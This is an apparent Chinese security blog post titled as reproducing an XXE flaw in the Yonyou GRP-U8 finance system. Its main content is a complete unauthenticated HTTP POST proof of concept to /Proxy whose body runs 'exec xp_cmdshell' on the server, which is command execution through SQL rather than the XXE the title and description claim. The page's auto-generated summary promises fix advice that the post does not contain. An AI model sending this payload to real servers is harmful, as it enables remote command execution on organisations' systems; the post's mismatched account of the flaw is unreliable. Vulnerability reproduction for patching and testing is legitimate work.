用友GRP-u8 XXE 漏洞复现

原创于 2020-09-23 02:39:16 发布 · 2.2k 阅读

0 ·

CC 4.0 BY-SA版权

文章标签：

#用友GRP-u8

漏洞复现专栏收录该内容

49 篇文章

订阅专栏

本文分析了用友GRP-u8中存在的XXE漏洞，详细介绍了该漏洞的成因及利用方式，并提供了漏洞复现的具体步骤和修复建议。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

0x00 漏洞描述

用友GRP-u8存在XXE漏洞，该漏洞源于应用程序解析XML输入时没有进制外部实体的加载，导致可加载恶意外部文件。

0x01 漏洞利用条件

无需登录

0x02 漏洞复现

POC:

POST /Proxy HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0;)
Host: localhost
Content-Length: 341
Connection: Keep-Alive
Cache-Control: no-cache

cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PARAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM><NAME>Data</NAME><DATA format="text">exec xp_cmdshell 'whoami'</DATA></PARAM></PARAMS></R9FUNCTION></R9PACKET>

burp抓包，修改url为/Proxy，在body中添加payload